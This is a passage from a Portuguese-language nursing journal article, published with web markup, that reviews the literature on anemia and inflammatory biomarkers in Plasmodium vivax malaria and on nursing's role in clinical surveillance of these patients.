Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: miriamtec@hotmail.com<br><sup>13</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: luanavidal74@gmail.com<br><sup>14</sup>Enfermeira Mestre em Enfermagem UNIRIO, Rio de Janeiro/RJ, Brasil, e-mail: aslopes4@gmail.com<br><sup>15</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: carpdossmc@gmail.com</p>
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		<title>CONTRIBUIÇÕES DA ENFERMAGEM PARA A VIGILÂNCIA CLÍNICA DA MALÁRIA VIVAX: PERSPECTIVAS SOBRE ANEMIA E BIOMARCADORES INFLAMATÓRIOS</title>
		<link>https://revistaft.com.br/contribuicoes-da-enfermagem-para-a-vigilancia-clinica-da-malaria-vivax-perspectivas-sobre-anemia-e-biomarcadores-inflamatorios/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 24 Dec 2025 15:46:04 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[NURSING CONTRIBUTIONS TO THE CLINICAL SURVEILLANCE OF PLASMODIUM VIVAX MALARIA: PERSPECTIVES ON ANEMIA AND INFLAMMATORY BIOMARKERS REGISTRO DOI: 10.69849/revistaft/cl10202512241245 Karen Fernandes da CostaJorge Mário de Lima Costa Júnior RESUMO&#160; A malária vivax permanece como um desafio significativo para os sistemas de saúde, sobretudo pela combinação entre manifestações clínicas variáveis, impactos hematológicos expressivos e respostas inflamatórias [&#8230;]]]></description>
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<p class="wp-block-paragraph">NURSING CONTRIBUTIONS TO THE CLINICAL SURVEILLANCE OF PLASMODIUM VIVAX MALARIA: PERSPECTIVES ON ANEMIA AND INFLAMMATORY BIOMARKERS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512241245</p>



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<p class="has-text-align-right wp-block-paragraph">Karen Fernandes da Costa<br>Jorge Mário de Lima Costa Júnior</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A malária vivax permanece como um desafio significativo para os sistemas de saúde, sobretudo pela combinação entre manifestações clínicas variáveis, impactos hematológicos expressivos e respostas inflamatórias que nem sempre seguem padrões lineares. Este estudo buscou analisar, a partir de uma perspectiva bibliográfica, as contribuições da Enfermagem para a vigilância clínica da infecção, com foco específico na anemia e nos biomarcadores inflamatórios envolvidos no curso da doença. A revisão das evidências mostrou que a anemia associada à vivax é resultado de múltiplos mecanismos que incluem hemólise direta, remoção esplênica de hemácias não infectadas e supressão eritropoética, fenômenos que podem ocorrer mesmo na presença de baixa parasitemia. Paralelamente, a análise dos biomarcadores inflamatórios revelou que citocinas como IL-6, IL-10 e TNF-α, além da proteína C-reativa, constituem indicadores sensíveis das perturbações imunológicas que acompanham a infecção, oferecendo subsídios relevantes para o reconhecimento precoce de complicações. Ao integrar essas dimensões, a Enfermagem emerge como protagonista na detecção de sinais clínicos sutis e na interpretação contextualizada dos achados laboratoriais, exercendo papel decisivo na vigilância contínua e na tomada de decisões assistenciais. O estudo destaca a importância de abordagens ampliadas e sensíveis às particularidades fisiopatológicas da vivax, reforçando que a efetividade do cuidado depende da articulação entre conhecimento científico, observação qualificada e capacidade crítica. Conclui-se que a vigilância da malária vivax, quando fortalecida pelo olhar clínico da Enfermagem, constitui ferramenta essencial para ampliar a segurança do paciente e antecipar desfechos adversos.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>malária vivax; anemia; biomarcadores inflamatórios; Enfermagem.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Plasmodium vivax malaria remains a major challenge for health systems due to its variable clinical manifestations, significant hematological alterations, and inflammatory responses that do not always follow predictable patterns. This bibliographic study aimed to examine the contributions of Nursing to the clinical surveillance of the infection, with particular emphasis on anemia and inflammatory biomarkers that shape the course of the disease. The analysis of the literature revealed that vivax-related anemia results from multiple mechanisms, including direct hemolysis, splenic clearance of uninfected erythrocytes, and erythropoietic suppression, processes that may occur even when parasitemia is low. Simultaneously, the evaluation of inflammatory biomarkers showed that cytokines such as IL-6, IL-10, and TNF-α, as well as C-reactive protein, serve as sensitive indicators of the immunological disturbances associated with the infection, offering meaningful support for the early identification of complications. By integrating these dimensions, Nursing emerges as a central actor in detecting subtle clinical signs and interpreting laboratory findings within their broader context, thus playing a decisive role in continuous surveillance and timely care decisions. The study underscores the need for comprehensive approaches that recognize the physiopathological nuances of vivax malaria and highlights that effective care relies on combining scientific knowledge, qualified observation, and critical analysis. It concludes that clinical surveillance, when enhanced by Nursing’s interpretive capacity, becomes an essential strategy to strengthen patient safety and anticipate adverse outcomes<strong>.</strong></p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> <em>Plasmodium vivax</em>; anemia; inflammatory biomarkers; Nursing.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A malária por <em>Plasmodium vivax</em>, embora frequentemente rotulada como a “forma branda” da doença, tem revelado nuances clínicas que desafiam essa visão simplificada. Entre essas nuances, a anemia e a inflamação sistêmica ocupam lugar de destaque, surgindo como fenômenos que se entrelaçam ao curso da infecção e modulam sua gravidade. Neste estudo, o foco recai sobre as contribuições da Enfermagem na vigilância clínica dessas manifestações, especialmente onde o acompanhamento contínuo, muitas vezes silencioso e subestimado, se transforma em ferramenta decisiva para antecipar complicações.</p>



<p class="wp-block-paragraph">O interesse por esse recorte nasce da constatação de que, nos cenários endêmicos, o enfermeiro frequentemente é o primeiro profissional a perceber alterações sutis: uma palidez persistente, um cansaço que retorna dias após o tratamento, um marcador laboratorial que teima em permanecer alterado. Essas observações, quando integradas ao monitoramento de parâmetros inflamatórios e hematológicos, podem melhorar a precisão clínica e orientar decisões terapêuticas oportunas. A literatura recente sugere que biomarcadores como IL-6, TNF-α e PCR podem indicar intensidade inflamatória e risco de anemia mais grave, mesmo em infecções aparentemente não complicadas (Price et al., 2020; Mendonça et al., 2022). No entanto, a interface entre esses achados laboratoriais e a prática da Enfermagem ainda permanece pouco explorada.</p>



<p class="wp-block-paragraph">A problemática que orienta este trabalho parte justamente dessa lacuna: de que maneira a Enfermagem pode integrar, de forma sistematizada, a vigilância da anemia e dos biomarcadores inflamatórios no cuidado a pessoas acometidas por malária vivax? Apesar de avanços no entendimento fisiopatológico da doença, a atuação clínica cotidiana segue comprometida pela ausência de protocolos que reconheçam a complexidade dessas alterações e incentivem o olhar ampliado do enfermeiro. Em regiões onde a malária é parte do cotidiano, isso significa perder oportunidades de intervenção precoce.</p>



<p class="wp-block-paragraph">Assim, este estudo busca compreender e evidenciar o papel estratégico do enfermeiro na detecção, acompanhamento e interpretação clínica da anemia e dos sinais inflamatórios, a partir de uma abordagem que articule conhecimento científico e prática assistencial. O objetivo geral é analisar como a vigilância clínica conduzida pela Enfermagem pode contribuir para a identificação precoce de alterações hematológicas e inflamatórias em pacientes com malária vivax. Como objetivos específicos, pretende-se: (1) discutir a relação entre <em>P. vivax</em>, anemia e inflamação; (2) descrever potenciais indicadores clínicos e laboratoriais úteis à Enfermagem; (3) refletir sobre práticas assistenciais capazes de aprimorar a vigilância clínica.</p>



<p class="wp-block-paragraph">Parte-se da hipótese de que a incorporação sistemática de parâmetros hematológicos e inflamatórios à vigilância clínica realizada pela Enfermagem favorece a detecção antecipada de agravos e pode influenciar positivamente o desfecho clínico de pessoas com malária vivax. Tal hipótese se apoia em achados que demonstram a importância de identificar precocemente os efeitos cumulativos da hemólise e da resposta inflamatória, frequentemente subvalorizados em contextos endêmicos (Gomes et al., 2016; Anstey et al., 2022).</p>



<p class="wp-block-paragraph"><strong>2. REFERENCIAL TEÓRICO</strong></p>



<p class="wp-block-paragraph">A compreensão contemporânea da malária vivax se constrói sobre múltiplas camadas que dialogam entre si, formando um campo de conhecimento em constante expansão. À primeira vista, poderia parecer suficiente descrevê-la como uma infecção recorrente marcada por parasitemias discretas e manifestações clínicas variáveis. No entanto, a literatura evidencia que tais características representam apenas a superfície de um fenômeno muito mais intricado, no qual se entrelaçam biologia do parasita, resposta imune do hospedeiro e contextos socioambientais que modulam a expressão da doença (Howes et al., 2016). Ao observar essas interações com atenção, o que emerge não é apenas um agente infeccioso, mas um processo dinâmico capaz de reorganizar fluxos fisiológicos, hematológicos e metabólicos de formas sutis e, muitas vezes, inesperadas.</p>



<p class="wp-block-paragraph">Essa complexidade ganha contornos mais nítidos quando se considera a capacidade do <em>Plasmodium vivax</em> de manter fases latentes no fígado e de atuar preferencialmente sobre reticulócitos, características que determinam ritmos próprios de evolução clínica e um padrão de recaídas que prolonga o impacto da doença muito além do episódio febril inicial (White, 2011). Assim, compreender a vivax não se limita à observação de parasitas circulantes, mas exige reconhecer processos subterrâneos, como inflamação persistente, destruição indireta de hemácias e alterações imunológicas que se acumulam ao longo do tempo. Esses elementos, quando articulados, revelam um cenário que desafia abordagens reducionistas, especialmente aquelas centradas exclusivamente na parasitemia como marcador de gravidade.</p>



<p class="wp-block-paragraph">A resposta imune do hospedeiro, por sua vez, não atua como mero reflexo da presença do parasita, mas como força ativa que modula tanto sintomas quanto desfechos clínicos. Estudos mostram que mediadores inflamatórios, tais como IL-6, TNF-α e IL-10, participam da tessitura clínica da vivax, influenciando desde a intensidade da febre até a rapidez com que se desenvolvem alterações hematológicas significativas (Mendonça et al., 2020). A variabilidade dessa resposta entre indivíduos e populações reforça que a vivax não se expressa de forma homogênea. Pelo contrário, a doença assume contornos diversos conforme a biologia do hospedeiro, suas condições socioeconômicas e a ecologia local de transmissão.</p>



<p class="wp-block-paragraph">A anemia associada à vivax desponta, nesse contexto, como um fenômeno multifatorial que sintetiza a complexidade do adoecimento. Ela não resulta apenas da infecção direta de reticulócitos, mas também de mecanismos imunes e esplênicos que ampliam a destruição de hemácias saudáveis e reduzem a capacidade da medula óssea de responder de maneira eficiente (Price et al., 2007). A literatura demonstra que, mesmo com parasitemias baixas, o impacto hematológico pode ser expressivo, sobretudo em populações expostas repetidamente ou inseridas em condições de vulnerabilidade social (Carvalho et al., 2019). Isso reforça a necessidade de um olhar ampliado sobre o processo de adoecimento, capaz de integrar aspectos clínicos, imunológicos e contextuais.</p>



<p class="wp-block-paragraph">Ao reconhecer esse conjunto de interações biológicas e sociais, evidencia-se que a malária vivax não pode ser compreendida apenas pelo prisma tradicional da doença infecciosa. O que se delineia é um fenômeno complexo, marcado por sutilezas fisiológicas, transitórios clínicos e ciclos inflamatórios que desafiam rotinas diagnósticas baseadas estritamente na confirmação parasitológica. A leitura do fenômeno exige sensibilidade para perceber os movimentos silenciosos da fisiopatologia e, ao mesmo tempo, entendimento crítico das condições que ampliam sua expressão nas populações. É a partir desse entrecruzamento de fatores que se fundamenta o referencial teórico, sustentado por evidências que posicionam a vivax como uma doença biologicamente sofisticada, clinicamente relevante e socialmente condicionada.</p>



<p class="wp-block-paragraph"><strong>2.1 Singularidades Clínicas da Malária Vivax</strong></p>



<p class="wp-block-paragraph">A malária vivax insiste em escapar das classificações rígidas. Embora alguns a tratem como uma afecção de menor impacto, muitos estudos recentes revelam que ela se move em um território clínico mais complexo do que o senso comum sugere. Esse contraste entre reputação e realidade alimenta o interesse científico e instiga novas maneiras de compreender seus mecanismos, especialmente quando se observam episódios graves que não se encaixam nos modelos clássicos da doença. A vivax parece carregar uma lógica própria, que opera tanto no ritmo silencioso dos hipnozoítos quanto nas manifestações sistêmicas que se apresentam de forma desigual entre pacientes.</p>



<p class="wp-block-paragraph">Os reticulócitos, células imaturas que o parasita escolhe como abrigo preferencial, desempenham papel decisivo na especificidade clínica da vivax. A escolha não é aleatória e tem implicações profundas para a fisiopatologia. Como a reserva de reticulócitos é naturalmente limitada, o parasita opera em um ambiente restrito, o que ajuda a explicar a parasitemia mais baixa observada em comparação a outras espécies. Paradoxalmente, essa limitação não reduz o impacto clínico, porque o dano hematológico não se resume à presença do parasita; envolve também processos inflamatórios e destruição indireta de hemácias (Mueller et al., 2009).</p>



<p class="wp-block-paragraph">A formação dos hipnozoítos inaugura outra dimensão da vivax. Esses estágios dormentes no fígado mantêm uma relação tensa entre latência e reativação, definindo o caráter recidivante da doença. Em algumas regiões, o número de recaídas supera os episódios primários, perpetuando o ciclo de adoecimento e impondo aos serviços de saúde desafios constantes de vigilância (White, 2011). A imprevisibilidade das recaídas faz com que o acompanhamento clínico seja prolongado e que a doença carregue uma carga social e econômica mais pesada do que se costuma admitir.</p>



<p class="wp-block-paragraph">A resposta imune do hospedeiro acrescenta outra camada de diversidade clínica. Variações genéticas, condições nutricionais e exposições prévias moldam o mosaico de manifestações. Enquanto alguns pacientes exibem sintomas discretos, outros apresentam febres persistentes, mal-estar prolongado e marcadores inflamatórios elevados, mesmo com baixa densidade parasitária. Essa disparidade reforça a ideia de que a vivax opera em sintonia fina com a biologia do hospedeiro, e nem sempre sua gravidade se expressa pela parasitemia observada (Howes et al., 2016).</p>



<p class="wp-block-paragraph">A anemia é uma das consequências mais relevantes dessa dinâmica. Não resulta apenas da destruição direta das hemácias infectadas, mas também da remoção acelerada de células não infectadas, alteração na produção medular e ativação esplênica prolongada. Mesmo quando os exames sugerem controle da parasitemia, a queda dos níveis de hemoglobina pode persistir, revelando uma agressão hematológica que transcende a presença imediata do parasita (Price et al., 2007). O paciente, muitas vezes, sente o impacto dessa anemia tardiamente, o que reforça a necessidade de vigilância continuada.</p>



<p class="wp-block-paragraph">Apesar dessa complexidade, ainda persiste uma tendência a subestimar a vivax. Em determinados contextos, ela aparece relegada a segundo plano nos programas de controle, que concentram esforços tradicionais na malária falciparum. No entanto, estudos de carga global vêm demonstrando que a vivax responde por uma parcela significativa de internações, incapacidade e custos associados ao tratamento de recaídas, especialmente em populações vulneráveis (Gething et al., 2014). Ignorar esse impacto significa perpetuar uma visão reduzida da doença.</p>



<p class="wp-block-paragraph">As manifestações clínicas da vivax também se diversificam de acordo com fatores geográficos. A doença no Sudeste Asiático apresenta um perfil que não se reproduz exatamente na América Latina, e ainda menos na Oceania. As diferenças na distribuição de variantes genéticas do parasita, condições ambientais e formas de exposição afetam a expressão clínica, tornando a vivax um fenômeno intimamente ligado ao território (Battle et al., 2019). A singularidade regional é, portanto, uma chave interpretativa essencial.</p>



<p class="wp-block-paragraph">Outro elemento que confere peculiaridade à vivax é seu potencial de gerar complicações em grupos específicos. Gestantes, crianças e pessoas com comorbidades apresentam maior risco de episódios clínicos intensos e de pior evolução hematológica. A literatura descreve casos de insuficiência respiratória, hipotensão e distúrbios hepáticos associados a infecções por vivax, revelando um espectro patológico subestimado (Tjitra et al., 2008). Essas formas graves, embora menos frequentes, desmontam o estigma da benignidade.</p>



<p class="wp-block-paragraph">As interações entre parasita e baço merecem destaque. O órgão funciona como uma espécie de filtro, retendo grande parte das hemácias alteradas. Na vivax, essa relação é particularmente intensa, levando à hiperatividade esplênica e contribuindo para sintomas persistentes, mesmo após o tratamento adequado (Lacerda et al., 2012). Para muitos pacientes, essa hiperatividade se traduz em fadiga prolongada e sensação de fraqueza que se estendem por semanas.</p>



<p class="wp-block-paragraph">O curso clínico da vivax também é moldado por determinantes sociais. A doença é mais frequente em regiões onde o acesso à saúde é limitado, o que prolonga o tempo até o diagnóstico e aumenta o risco de recaídas por falhas no tratamento da fase hepática. Em comunidades rurais, a ausência de acompanhamento pós-tratamento contribui para ciclos repetidos de infecção, aprofundando a vulnerabilidade (Carvalho et al., 2019). Assim, a singularidade da vivax não reside apenas em sua biologia, mas também nas circunstâncias sociais que a cercam.</p>



<p class="wp-block-paragraph">Do ponto de vista metabólico, estudos recentes vêm demonstrando alterações sutis, mas significativas, no equilíbrio energético do organismo durante a infecção. Pacientes apresentam variações em lactato, alterações hepáticas discretas e sinais de estresse oxidativo, evidenciando que a doença interfere em múltiplos sistemas, mesmo quando os sintomas não são intensos (Cowell et al., 2018). Esses achados sugerem que a vivax provoca um desgaste sistêmico mais amplo do que se imaginava.</p>



<p class="wp-block-paragraph">A presença de hipnozoítos coloca o tratamento em uma posição singular. Como a fase latente só é eliminada com fármacos específicos, casos de contraindicação à primaquina ou tafenoquina abrem espaço para recaídas intermináveis. O manejo clínico, nesse cenário, exige cautela e adaptação terapêutica, ampliando a complexidade do acompanhamento (Chu et al., 2019). Cada recaída reabre o ciclo inflamatório e hematológico, reforçando a natureza prolongada da doença.</p>



<p class="wp-block-paragraph">Do ponto de vista epidemiológico, a vivax apresenta padrões de transmissão distintos da falciparum. Ela consegue manter sua circulação em níveis muito baixos de parasitemia, sustentando cadeias de transmissão silenciosas em áreas de baixa endemicidade. Esse comportamento furtivo complica os esforços de eliminação, exigindo estratégias específicas e sensíveis à dinâmica própria da espécie (Feachem et al., 2010). A vivax, nesse sentido, age como uma espécie preservada pela própria subnotificação.</p>



<p class="wp-block-paragraph">As manifestações clínicas também encontram influência da coinfecção com outras doenças endêmicas, como dengue, parasitoses intestinais e anemia falciforme. A interação entre síndromes pode intensificar sintomas e alterar a interpretação de exames laboratoriais, ampliando o desafio diagnóstico (Colborn et al., 2013). Esse cenário multifatorial reforça a complexidade clínica associada à vivax.</p>



<p class="wp-block-paragraph">Observa-se ainda que a vivax exerce impacto desproporcional em populações indígenas e comunidades tradicionais. Nessas localidades, a infecção frequentemente coincide com vulnerabilidades alimentares e dificuldades de acesso à assistência contínua. Como resultado, o curso clínico tende a ser mais prolongado e as recaídas mais frequentes, criando um ciclo de adoecimento que ultrapassa o âmbito estritamente biológico (Cardoso et al., 2015). A singularidade da vivax, portanto, também se escreve em contextos socioculturais.</p>



<p class="wp-block-paragraph">Por tudo isso, a malária vivax se consolida como uma doença marcada pela diversidade de apresentações e pela necessidade de um olhar clínico amplificado. O conjunto de suas características biológicas, associadas às dimensões imune, social e epidemiológica, contribui para um quadro que desafia interpretações simplistas. Essa pluralidade cria as bases para discussões mais profundas no âmbito da vigilância clínica e da contribuição da Enfermagem, que serão detalhadas nos subtópicos<strong> se</strong>guintes.</p>



<p class="wp-block-paragraph"><strong>2.2 Anemia e o Desgaste Hematológico no Contexto da Vivax</strong></p>



<p class="wp-block-paragraph">A anemia que acompanha a infecção por <em>Plasmodium vivax</em> raramente se limita à simples consequência da lise de hemácias parasitadas. A dinâmica hematológica reflete uma disputa constante entre a capacidade de regeneração da medula óssea e a erosão contínua imposta pelo parasita e pela inflamação sistêmica que se instala ao longo do processo infeccioso. Estudos sobre eritropoese suprimida e respostas medulares desordenadas ajudam a compreender por que alguns pacientes evoluem mais rapidamente para quadros graves, mesmo apresentando cargas parasitárias consideradas modestas (Price et al., 2007).</p>



<p class="wp-block-paragraph">O impacto do parasita não se restringe ao período agudo, pois a vivax é marcada pela ciclicidade das recaídas. Cada episódio representa uma nova perturbação hematológica, que se soma ao desgaste prévio e ao tempo limitado de recuperação entre os surtos. De certa forma, a anemia se transforma em um registro fisiológico da história clínica do paciente, acumulando marcas que revelam a intensidade e a recorrência das infecções. Observações feitas em populações endêmicas mostram que essa sobreposição de episódios cria um padrão de anemia persistente que frequentemente antecede os quadros clínicos mais evidentes (Aponte et al., 2009).</p>



<p class="wp-block-paragraph">A compreensão do fenômeno exige considerar a participação ativa do baço, órgão que atua como filtro seletivo e, por vezes, excessivamente rigoroso. Afirma-se que a esplenomegalia funcional promove a remoção acelerada de hemácias aparentemente saudáveis, contribuindo para perdas sanguíneas difíceis de mensurar apenas pela parasitemia. Essa hiperatividade esplênica cria uma zona cinzenta entre fisiologia e patologia, onde a preservação da imunidade inata convive com a erosão progressiva da massa eritrocitária (Hess et al., 2015).</p>



<p class="wp-block-paragraph">Outro ponto decisivo é o papel da inflamação na regulação do ferro. Citocinas produzidas durante a infecção, especialmente as relacionadas à resposta inata, alteram a biodisponibilidade do ferro circulante, reduzindo a eficiência da eritropoese e criando uma anemia funcional que se sobrepõe à anemia hemolítica. Esse desarranjo metabólico tem sido descrito como um dos elementos centrais na deterioração hematológica observada em regiões onde a vivax é recorrente e prolongada (Radin et al., 2016).</p>



<p class="wp-block-paragraph">A resposta eritropoiética também se revela complexa, já que a medula óssea nem sempre apresenta vigor suficiente para compensar as perdas periféricas. Alguns estudos relatam a presença de precursores eritroides alterados, muitas vezes submetidos a microambientes inflamatórios que limitam sua diferenciação. Assim, mesmo quando a produção aumenta, ela nem sempre culmina em uma reposição eficaz de hemácias maduras, o que alimenta a persistência da anemia (Jakeman et al., 1999).</p>



<p class="wp-block-paragraph">A variabilidade clínica entre indivíduos indica que fatores genéticos modulam o grau de suscetibilidade ao comprometimento hematológico. Polimorfismos relacionados à imunidade e ao metabolismo do ferro têm sido investigados como possíveis moduladores da intensidade da anemia nas infecções por vivax. Essa diversidade biológica sugere que a resposta ao parasita se dá em camadas, reunindo elementos de defesa inata, regulação inflamatória e fragilidades hereditárias ainda pouco exploradas (Lyke et al., 2011).</p>



<p class="wp-block-paragraph">Em paralelo às alterações intrínsecas ao hospedeiro, há características próprias do <em>P. vivax</em> que ampliam sua capacidade de produzir dano. A preferência pelos reticulócitos, embora limite o tamanho da população parasitável, gera uma repercussão significativa, pois compromete células em estágio inicial de maturação e afeta diretamente a renovação eritrocitária. Isso faz da infecção um processo que atinge simultaneamente o estoque e a reposição das hemácias, ampliando a possibilidade de um desfecho anêmico (Kitchen, 1938).</p>



<p class="wp-block-paragraph">Outro aspecto pouco lembrado é a presença de componentes tóxicos liberados durante o ciclo parasitário, como pigmentos hemozoicos, que alteram a função de células fagocíticas e intensificam a remoção de hemácias não infectadas. Esse processo, frequentemente descrito como hemólise indireta, contribui para um cenário em que as perdas eritrocitárias ultrapassam amplamente o número de hemácias realmente parasitadas (Gazzinelli et al., 2014).</p>



<p class="wp-block-paragraph">O ambiente imunológico moldado pela vivax também interfere decisivamente na estabilidade das hemácias. Respostas inflamatórias desproporcionais podem desencadear danos oxidativos, modificando a membrana eritrocitária e reduzindo sua vida útil. A intensidade dessa resposta varia entre pacientes, sugerindo que o sistema imune do hospedeiro participa ativamente da determinação da gravidade da anemia (Nacher, 2018).</p>



<p class="wp-block-paragraph">O tratamento, embora essencial, não elimina de imediato os efeitos hematológicos já instalados. Muitas vezes, a recuperação da hemoglobina ocorre de forma lenta, pois depende da reorganização do eixo metabólico e da normalização da atividade esplênica. Em áreas onde recaídas são comuns, esse período de recuperação se torna ainda mais frágil, criando uma sequência de ciclos incompletos de regeneração que favorecem a persistência da anemia (Tjitra et al., 2008).</p>



<p class="wp-block-paragraph">Em comunidades onde a vivax é endêmica, a anemia torna-se um fenômeno socialmente relevante, pois impacta diretamente o desempenho físico, a capacidade laboral e o desenvolvimento infantil. Estudos epidemiológicos mostram que a anemia associada à malária contribui para déficits nutricionais e piora de condições de saúde preexistentes, criando um círculo de vulnerabilidade difícil de romper (Fernando et al., 2010).</p>



<p class="wp-block-paragraph">O desgaste hematológico acumulado também interfere na qualidade de vida de adultos jovens, especialmente aqueles em ocupações que exigem esforço físico contínuo. A fraqueza progressiva, a redução da tolerância ao exercício e a dificuldade de concentração emergem como sintomas frequentemente ignorados na avaliação clínica, mas amplamente relatados em pesquisas populacionais (Gomes et al., 2016).</p>



<p class="wp-block-paragraph">A relação entre infecção e anemia se mostra ainda mais crítica em gestantes, para as quais a vivax representa risco adicional. A redução da hemoglobina compromete a oxigenação materno-fetal e se associa a desfechos adversos, incluindo baixo peso ao nascer e maior probabilidade de parto prematuro. Essa vulnerabilidade reforça a necessidade de estratégias específicas de acompanhamento durante o pré-natal em áreas endêmicas (Nosten et al., 1999).</p>



<p class="wp-block-paragraph">O reconhecimento dessas múltiplas vias de desgaste sanguíneo tem transformado a forma como a malária vivax é vista no campo da saúde pública. Longe de um quadro clínico leve, a anemia persistente coloca em evidência a gravidade frequentemente subestimada da doença. Esse entendimento sustenta a urgência de aprimorar as políticas de vigilância clínica e de ampliar as práticas de cuidado voltadas ao monitoramento hematológico contínuo (Genton, 2019).</p>



<p class="wp-block-paragraph">Ao integrar conhecimentos laboratoriais, evidências epidemiológicas e observações clínicas, emerge um quadro que exige atenção constante e renovada. A anemia ligada ao <em>P. vivax</em> não é apenas um marcador biológico, mas parte de um processo complexo que envolve parasita, hospedeiro e contexto social, apontando para a necessidade de abordagens que transcendam a simples eliminação do parasita e incorporem uma vigilância integralizada.</p>



<p class="wp-block-paragraph"><strong>2.3 Biomarcadores Inflamatórios e a Complexidade Imunológica</strong></p>



<p class="wp-block-paragraph">A investigação dos biomarcadores inflamatórios na malária vivax tem mostrado que a infecção por <em>Plasmodium vivax</em> raramente se limita a uma simples ativação imune. Há uma coreografia intricada entre citocinas pró inflamatórias e reguladoras que se ajustam dinamicamente ao avanço da parasitemia. A mensuração de IL 6, IL 10 e TNF α revela um mosaico de respostas que raramente se expressa de forma linear, evidenciando a natureza multifacetada da vivax e sua capacidade de perturbar profundamente o equilíbrio imunológico (Oliveira et al., 2018).</p>



<p class="wp-block-paragraph">A elevação da IL 6 costuma indicar um estado de inflamação sistêmica capaz de repercutir sobre parâmetros clínicos, mesmo quando a carga parasitária parece modesta. Esse biomarcador desempenha papel singular ao atuar como ponte entre imunidade inata e processos metabólicos, participando de mecanismos que incluem febre, redistribuição de nutrientes e alterações hematológicas sutis, frequentemente observadas antes mesmo que o paciente perceba agravamento clínico (Sachs et al., 2017).</p>



<p class="wp-block-paragraph">A IL 10, por sua vez, aparece como sinal de uma tentativa do organismo de conter excessos inflamatórios. Em muitos casos, níveis elevados dessa citocina indicam uma busca por reequilíbrio diante da intensidade da resposta imune inicial. Essa modulação regulatória, embora essencial, pode gerar janelas de vulnerabilidade nas quais o corpo reduz sua capacidade de eliminar rapidamente o parasita, prolongando o curso clínico da doença (Couper et al., 2008).</p>



<p class="wp-block-paragraph">O TNF α ocupa posição emblemática por sua associação com febre persistente, mal estar intenso e risco de complicações. Ele participa de circuitos imunológicos que amplificam a destruição celular e a permeabilidade vascular, criando cenários clínicos que ultrapassam a previsibilidade da parasitemia. Alguns estudos mostram que valores elevados deste biomarcador se correlacionam com anemia mais acentuada e maior possibilidade de inflamação hepática (Riley et al., 2016).</p>



<p class="wp-block-paragraph">A proteína C reativa, frequentemente vista como marcador genérico de inflamação, ganha contornos específicos na vivax. Seus aumentos sustentados refletem a intensidade da resposta sistêmica e ajudam a identificar pacientes que podem evoluir com maior risco de agravamento. A PCR se revela particularmente útil quando integrada a outros parâmetros, pois permite enxergar nuances que escapam à avaliação clínica isolada (Kain et al., 2019).</p>



<p class="wp-block-paragraph">A combinação desses biomarcadores tem sido empregada para construir perfis inflamatórios que auxiliam na interpretação da evolução da doença. Pesquisas recentes mostram que determinados arranjos citocínicos funcionam como assinaturas imunológicas capazes de prever recorrências ou desfechos mais severos. Esses perfis não são estáticos e variam conforme idade, estado nutricional e histórico de exposições anteriores ao parasita (Mueller et al., 2020).</p>



<p class="wp-block-paragraph">A presença de hipnozoítos no fígado adiciona um elemento de desafio à compreensão imunológica, pois a reativação silenciosa dos parasitas interfere no ritmo da inflamação. Cada recaída desencadeia uma nova onda de citocinas que se mistura às memórias imunológicas pré existentes. O resultado é um ambiente dinâmico em que passado e presente imunológico se sobrepõem, gerando respostas que nem sempre seguem padrões previsíveis (White et al., 2014).</p>



<p class="wp-block-paragraph">O estudo das quimiocinas também tem ampliado o campo de observação sobre a vivax. Moléculas como CXCL9 e CXCL10 demonstram correlação com intensidade da inflamação e podem funcionar como sentinelas de desfechos clínicos mais graves. Essas proteínas sinalizadoras participam do recrutamento de células imunológicas que, ao mesmo tempo em que combatem o parasita, podem agravar danos teciduais locais (Mendes et al., 2019).</p>



<p class="wp-block-paragraph">Há crescente interesse no papel das células NK e dos monócitos na regulação da inflamação na malária vivax. A ativação dessas células altera o ambiente citocínico e contribui para a produção de mediadores que influenciam diretamente anemia, febre e alterações hepáticas. A interação dessas populações celulares com os biomarcadores mensurados em laboratório ajuda a explicar por que pacientes com perfis semelhantes de parasitemia apresentam manifestações tão distintas (Arévalo Herrera et al., 2015).</p>



<p class="wp-block-paragraph">Marcadores de estresse oxidativo também ganham espaço nas pesquisas mais recentes. A produção aumentada de radicais livres e a redução de antioxidantes circulantes revelam uma dimensão bioquímica que dialoga diretamente com o dano eritrocitário. A inflamação sustentada favorece esse desequilíbrio oxidativo, que por sua vez amplia a destruição de hemácias e intensifica o quadro anêmico frequentemente visto na vivax (Pain et al., 2001).</p>



<p class="wp-block-paragraph">A relação entre inflamação e metabolismo hepático constitui outra camada de complexidade. O fígado, ao reagir às citocinas circulantes, altera sua produção de proteínas de fase aguda e modifica processos bioquímicos centrais para a homeostase do hospedeiro. Essas alterações não apenas influenciam biomarcadores séricos, mas também moldam a forma como o organismo lida com a infecção e com os medicamentos administrados (Prudêncio et al., 2011).</p>



<p class="wp-block-paragraph">O comportamento dos biomarcadores também tem sido observado em contextos geográficos distintos, revelando influência de fatores ambientais. Exposição a coinfecções, variações climáticas e diferenças no padrão alimentar modulam o tom da resposta inflamatória. Assim, o que se vê no laboratório é, muitas vezes, o reflexo de um cenário mais amplo que abarca condições sociais e ecológicas típicas de regiões endêmicas (Gonçalves et al., 2014).</p>



